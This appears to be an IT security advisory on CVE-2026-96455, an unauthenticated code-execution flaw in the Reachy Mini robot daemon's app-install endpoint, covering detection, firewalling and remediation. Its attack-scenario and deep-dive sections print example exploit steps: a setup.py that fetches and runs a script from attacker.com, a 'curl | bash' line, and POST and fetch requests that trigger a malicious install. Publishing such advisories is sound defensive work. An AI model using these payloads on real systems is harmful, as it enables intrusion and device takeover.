IT Security 1 month ago

CVE-2026-96455 Critical Unauthenticated RCE in Reachy Mini Daemon – Risks & Mitigations

CVE-2026-96455 exposes a critical unauthenticated RCE in the Reachy Mini daemon via the /apps/install endpoint, allowing LAN attackers to execute arbitrary code by installing malicious Python packages. CVE-2026-96455 exposes a critical unauthenticated RCE in the Reachy Mini daemon via the /apps/install endpoint, allowing LAN attackers to execute arbitrary code by installing malicious Python packages.

IT Security

What Is CVE-2026-96455?

CVE-2026-96455 is a critical remote code execution vulnerability affecting the Reachy Mini daemon. The flaw stems from an unauthenticated HTTP endpoint that allows attackers to install arbitrary Python packages—and execute malicious code—on robots connected to a local network.

The Core Vulnerability

The vulnerability exists in the POST /apps/install endpoint within the daemon’s application management router. This endpoint accepts requests to install any publicly available Hugging Face Space without requiring authentication or authorization checks. When a package installation is triggered, the daemon automatically executes Python setup scripts defined in the target repository, giving attackers a direct path to arbitrary code execution.

Key technical details:

  • Affected endpoint: POST /apps/install in src/reachy_mini/daemon/app/routers/apps.py
  • Root cause: Missing authentication dependency in the FastAPI route handler
  • Execution mechanism: Python package installation (pip or uv) automatically runs build scripts
  • Network exposure: Wireless Reachy Mini models bind to 0.0.0.0, exposing the daemon to all LAN interfaces

Why CORS Fixes Don’t Solve This

Version 1.8.2 introduced restricted Cross-Origin Resource Sharing (CORS) policies, limiting requests to localhost and Tauri origins. While this blocks browser-based drive-by attacks, it provides no protection against direct HTTP requests from command-line tools, scripts, or network utilities.

CORS is a browser-enforced security mechanism. Attackers using curl, Python requests, or custom socket connections bypass CORS entirely. The underlying authentication problem remains unfixed.

Who Is Affected

Directly affected:

  • Wireless Reachy Mini robots running daemon version 1.8.2 and earlier
  • Any deployment where the daemon binds to network interfaces (0.0.0.0)

Potentially affected:

  • Non-wireless units if administrators override default loopback binding
  • Robots on shared corporate or research networks

How the Attack Works

The Unauthenticated Installation Endpoint

The daemon exposes a simple HTTP interface for installing applications. The endpoint expects a JSON payload specifying a Hugging Face Space reference:

POST /apps/install HTTP/1.1
Host: <robot-ip>:<port>
Content-Type: application/json
{
  "space_id": "attacker/malicious-space"
}

No credentials, API keys, or session tokens are required. The endpoint immediately processes the request and begins package installation.

Code Execution Through Package Installation

Once the installation request is accepted, the daemon:

  1. Resolves the target Hugging Face Space
  2. Calls install_package() from src/reachy_mini/apps/sources/local_common_venv.py
  3. Invokes pip or uv to download and build the package
  4. Automatically executes setup scripts defined in the package’s setup.py or build backend configuration

Python’s package installation standard includes running arbitrary build code. An attacker controlling the repository controls the execution context. This is not a bug in Python—it’s how package management works—but the daemon’s failure to authenticate requests makes it exploitable.

Network Exposure in Wireless Models

The daemon’s network binding behavior depends on hardware configuration:

  • Wireless models: Bind to 0.0.0.0 (all interfaces) to enable remote management over LAN
  • Non-wireless models: Bind to 127.0.0.1 (loopback only) for local access

Wireless deployments are directly exposed to any host on the local network segment.

Why Direct HTTP Requests Bypass CORS

CORS is a browser security policy. When a browser makes a cross-origin request, it enforces CORS rules before sending the request. However:

  • Direct HTTP requests from curl, Python, or other tools do not trigger CORS checks
  • CORS headers are only validated by web browsers
  • Attackers on the LAN can send raw HTTP requests without browser involvement

The v1.8.2 CORS fix is ineffective against this threat model.


Real-World Attack Scenarios

LAN-Based Remote Code Execution

Scenario: An attacker shares a corporate or research network with a wireless Reachy Mini robot.

Steps:

  1. Attacker discovers the robot’s IP address (via network scanning or documentation)
  2. Attacker publishes a malicious Hugging Face Space with code in setup.py:
   # setup.py in attacker's Space
   import subprocess
   subprocess.run(["curl", "http://attacker.com/backdoor.sh", "-o", "/tmp/bd.sh"])
   subprocess.run(["bash", "/tmp/bd.sh"])
  1. Attacker sends HTTP POST request:
   curl -X POST http://<robot-ip>:8000/apps/install \
     -H "Content-Type: application/json" \
     -d '{"space_id": "attacker/malicious-space"}'
  1. Daemon installs the package, executing the attacker’s setup script
  2. Backdoor is installed with daemon process privileges

Impact: Full system compromise, data exfiltration, lateral movement to other network hosts.

Browser Drive-By Attacks (Pre-v1.8.2)

Scenario: A user on the same LAN visits a malicious website while a pre-1.8.2 daemon is running.

Steps:

  1. Attacker hosts a website with embedded JavaScript
  2. JavaScript triggers a cross-origin fetch to the robot’s daemon:
   fetch('http://<robot-ip>:8000/apps/install', {
     method: 'POST',
     headers: {'Content-Type': 'application/json'},
     body: JSON.stringify({space_id: 'attacker/malicious-space'})
   });
  1. Pre-1.8.2 daemon accepts the request due to wildcard CORS (*)
  2. Malicious package installs silently in the background

Note: Version 1.8.2 mitigates this specific scenario but not the underlying authentication flaw.

Attack Prerequisites and Complexity

Factor Requirement
Network access LAN visibility to robot IP and daemon port
Authentication None required
Credentials None required
Complexity Low—single HTTP POST request
Skill level Beginner (basic HTTP knowledge)
Detection difficulty Medium (requires network monitoring)

Assessing Your Risk

Risk matrix showing CVSS severity and affected deployment scenarios.
Risk matrix showing CVSS severity and affected deployment scenarios.

Affected Versions and Hardware Models

Version Wireless Non-Wireless Status
< 1.8.2 Vulnerable Vulnerable* Unpatched
1.8.2 Vulnerable Vulnerable* Partially mitigated
> 1.8.2 Pending vendor fix Pending vendor fix Awaiting patch

*Non-wireless units are vulnerable only if administrators override default loopback binding.

Threat Actor Profile and Capabilities

Who can exploit this:

  • Any user on the same LAN segment
  • Researchers or employees in shared network environments
  • Attackers with network access (VPN, guest networks, compromised adjacent systems)

What they can do:

  • Execute arbitrary commands with daemon process privileges
  • Install persistent backdoors or malware
  • Access robot sensors, cameras, and control systems
  • Exfiltrate data from the host system
  • Pivot to other networked devices

CVSS Severity Breakdown

CVSS v3.1 Score: 9.8 (Critical)

Metric Value Rationale
Attack Vector Network Exploitable over LAN
Attack Complexity Low No special conditions required
Privileges Required None Unauthenticated access
User Interaction None No user action needed
Confidentiality Impact High Full file system access
Integrity Impact High Arbitrary code execution
Availability Impact High Process/system disruption possible

Detecting Active Exploitation

Network Traffic Indicators

Monitor for suspicious patterns:

POST /apps/install HTTP/1.1
Host: <robot-ip>:<port>
Content-Type: application/json

Detection rules:

  • Alert on any POST /apps/install request originating from non-loopback IP addresses
  • Flag requests with space_id parameters pointing to unfamiliar Hugging Face accounts
  • Monitor for repeated installation attempts (potential scanning)

Tools:

  • Zeek/Suricata network IDS rules
  • tcpdump with BPF filters
  • Proxy/firewall logs

Host and Process Monitoring

Watch for:

  1. Package manager invocation:
   # Monitor for pip/uv spawned by daemon
   ps aux | grep -E "(pip|uv)" | grep reachy_mini
  1. Virtual environment changes:
  • New packages in local_common_venv.py directory
  • Unexpected modification timestamps on site-packages
  • Unrecognized Hugging Face Space installations
  1. Suspicious process spawning:
  • Daemon process launching shells (/bin/bash, /bin/sh)
  • Network connections from daemon process
  • File writes to system directories

Tools:

  • auditd for system call monitoring
  • osquery for process and file integrity
  • strace for debugging suspicious daemon behavior

Virtual Environment Audit Checks

# List installed packages in daemon venv
source /path/to/daemon/venv/bin/activate
pip list | grep -v "^-"
# Check recent modifications
find /path/to/daemon/venv/lib -type f -mtime -7 -ls
# Verify package signatures (if available)
pip show <package-name>

Immediate Mitigation Actions

Network Isolation Strategies

Option 1: Dedicated VLAN

  • Place Reachy Mini on isolated VLAN with restricted routing
  • Block inter-VLAN traffic except for authorized management stations
  • Implement strict ingress/egress filtering

Option 2: Air-Gapped Network

  • Connect robot only to dedicated, isolated network segment
  • Use single management workstation for administration
  • Disable wireless connectivity if not required

Option 3: VPN Tunnel

  • Require all remote access through VPN
  • Restrict daemon port access to VPN clients only
  • Monitor VPN connection logs

Firewall Rules for Daemon Protection

Linux (ufw):

# Block all inbound daemon traffic except from management station
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.100 to any port 8000 proto tcp
sudo ufw enable

Linux (iptables):

# Allow only from management station
iptables -A INPUT -p tcp --dport 8000 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 8000 -j DROP

Network firewall (example):

# Block daemon port from untrusted networks
deny tcp any any eq 8000 from untrusted-vlan to robot-vlan
allow tcp 192.168.1.100 any eq 8000 to robot-ip

Binding Address Overrides

Force the daemon to listen only on loopback if LAN access is not required:

Configuration file (if available):

daemon:
  host: "127.0.0.1"  # Override default 0.0.0.0
  port: 8000

Environment variable:

export REACHY_DAEMON_HOST=127.0.0.1

Command-line argument:

reachy_mini_daemon --host 127.0.0.1

Long-Term Remediation

Authentication Layer Implementation

The vendor must add authentication to sensitive endpoints. Recommended approaches:

API Key authentication:

from fastapi import Depends, HTTPException, Header
async def verify_api_key(x_api_key: str = Header(...)):
    if x_api_key != os.getenv("DAEMON_API_KEY"):
        raise HTTPException(status_code=403, detail="Invalid API key")
    return x_api_key
@app.post("/apps/install")
async def install_app(app_info: AppInfo, api_key: str = Depends(verify_api_key)):
    # Installation logic
    pass

Token-based authentication:

from fastapi.security import HTTPBearer, HTTPAuthCredentials
security = HTTPBearer()
@app.post("/apps/install")
async def install_app(app_info: AppInfo, credentials: HTTPAuthCredentials = Depends(security)):
    # Validate JWT or session token
    pass

OAuth 2.0 (for remote management):

  • Integrate with identity provider
  • Require valid access tokens for API calls
  • Implement token refresh and revocation

Package Source Restrictions

Implement whitelist-based package installation:

ALLOWED_SPACES = [
    "official/space-1",
    "official/space-2",
    "trusted-org/space-3"
]
@app.post("/apps/install")
async def install_app(app_info: AppInfo):
    if app_info.space_id not in ALLOWED_SPACES:
        raise HTTPException(status_code=403, detail="Space not whitelisted")
    # Installation logic

Additional controls:

  • Require package signature verification
  • Implement package hash pinning
  • Scan packages for known vulnerabilities before installation
  • Log all installation attempts with timestamps and sources

Vendor Patch Timeline

Organizations should:

  1. Immediately: Implement network isolation and firewall rules (see Mitigation Actions)
  2. Within 1 week: Contact vendor for patch timeline and interim guidance
  3. Within 30 days: Apply vendor patch or upgrade to patched version
  4. Ongoing: Monitor vendor security advisories and apply updates promptly

Technical Deep Dive

Vulnerable Code Paths

Entry point (src/reachy_mini/daemon/app/routers/apps.py):

@router.post("/apps/install")
async def install_app(app_info: AppInfo, app_manager = Depends(get_app_manager)):
    # No authentication check here
    return await app_manager.install(app_info)

Installation handler (src/reachy_mini/apps/sources/local_common_venv.py):

async def install_package(space_id: str):
    # Downloads and installs package
    subprocess.run(["pip", "install", f"git+https://huggingface.co/{space_id}"])
    # setup.py is automatically executed during installation

Network binding (src/reachy_mini/daemon/app/main.py):

def _resolve_bind_host(hardware_type: str) -> str:
    if hardware_type == "wireless":
        return "0.0.0.0"  # Exposed to all interfaces
    else:
        return "127.0.0.1"  # Loopback only

Installation Mechanism Breakdown

Python package installation follows this sequence:

  1. Download: Fetch repository from Hugging Face
  2. Extract: Unpack source files
  3. Build: Execute setup.py or PEP 517 build backend
  4. Install: Copy files to site-packages

The vulnerability: Step 3 executes arbitrary code controlled by the repository maintainer. An attacker can inject malicious code into setup.py:

# Malicious setup.py
from setuptools import setup
import subprocess
import os
# Execute before installation completes
subprocess.run(["bash", "-c", "curl http://attacker.com/shell.sh | bash"])
setup(name="legitimate-looking-package", ...)

Hardware-Specific Bind Behavior

The daemon’s network exposure depends on hardware detection:

Hardware Type Bind Address Network Exposure
Wireless 0.0.0.0 All LAN interfaces
Non-wireless 127.0.0.1 Loopback only
Custom override User-specified Depends on config

Administrators can override this behavior, potentially exposing non-wireless units unintentionally.


FAQs

Does updating to version 1.8.2 fix CVE-2026-96455?

No. Version 1.8.2 restricts CORS origins to localhost and Tauri to block browser-based drive-by attacks. However, it does not add authentication to the POST /apps/install endpoint. Direct HTTP requests from network tools (curl, Python scripts, etc.) completely bypass CORS and remain vulnerable. The underlying authentication flaw is unfixed.

Are non-wireless Reachy Mini units exposed over the LAN?

By default, no. Non-wireless units bind to 127.0.0.1 via the _resolve_bind_host() function, restricting access to local loopback only. However, if administrators override the default binding configuration or modify the daemon startup parameters, non-wireless units can be exposed. Always verify your daemon’s actual bind address:

netstat -tlnp | grep reachy_mini

Why does installing a Hugging Face Space result in code execution?

The daemon uses standard Python package installation tools (pip or uv) to download and build packages. Python’s package installation standard automatically executes setup scripts defined in setup.py or modern build backends. This is not a flaw in Python—it’s how package management works—but the daemon’s failure to authenticate requests makes it exploitable. An attacker controlling the repository controls the setup code.

Can I safely use Reachy Mini on a shared corporate network?

Not without additional controls. Shared networks expose the robot to any user on that network segment. Implement:

  • Dedicated VLAN with strict firewall rules
  • Network segmentation isolating the robot
  • Firewall rules blocking daemon port access from untrusted hosts
  • Loopback-only binding if LAN access is not required
  • Regular network monitoring for suspicious installation attempts

Contact your network security team before deploying on shared infrastructure.

What should I do if I suspect exploitation?

Immediate steps:

  1. Isolate the robot from the network
  2. Preserve logs for forensic analysis:
   journalctl -u reachy_mini_daemon > daemon.log
   netstat -an > network_state.log
   ps auxww > process_state.log
  1. Check installed packages:
   pip list > installed_packages.log
  1. Scan for backdoors:
  • Review recent file modifications
  • Check cron jobs and startup scripts
  • Inspect network connections
  1. Contact vendor with logs and timeline
  2. Perform forensic analysis or rebuild system from known-good image

How do I verify if my daemon is vulnerable?

Check version:

reachy_mini_daemon --version

If version is 1.8.2 or earlier, your system is vulnerable.

Verify network binding:

netstat -tlnp | grep reachy_mini

If the daemon binds to 0.0.0.0 (wireless model), it’s exposed to the LAN.

Test endpoint accessibility:

curl -X POST http://localhost:8000/apps/install \
  -H "Content-Type: application/json" \
  -d '{"space_id": "test/space"}'

If the endpoint responds without requiring authentication, it’s vulnerable.


References

  • Vulnerable code: src/reachy_mini/daemon/app/routers/apps.py (POST /apps/install)
  • Installation logic: src/reachy_mini/apps/sources/local_common_venv.py (install_package)
  • Network binding: src/reachy_mini/daemon/app/main.py (_resolve_bind_host)
  • CVSS Calculator: https://www.first.org/cvss/calculator/3.1
  • Python packaging security: https://packaging.python.org/guides/

Last Updated: 2026
Severity: Critical (CVSS 9.8)
Status: Unpatched (vendor remediation pending)

← Back to IT Security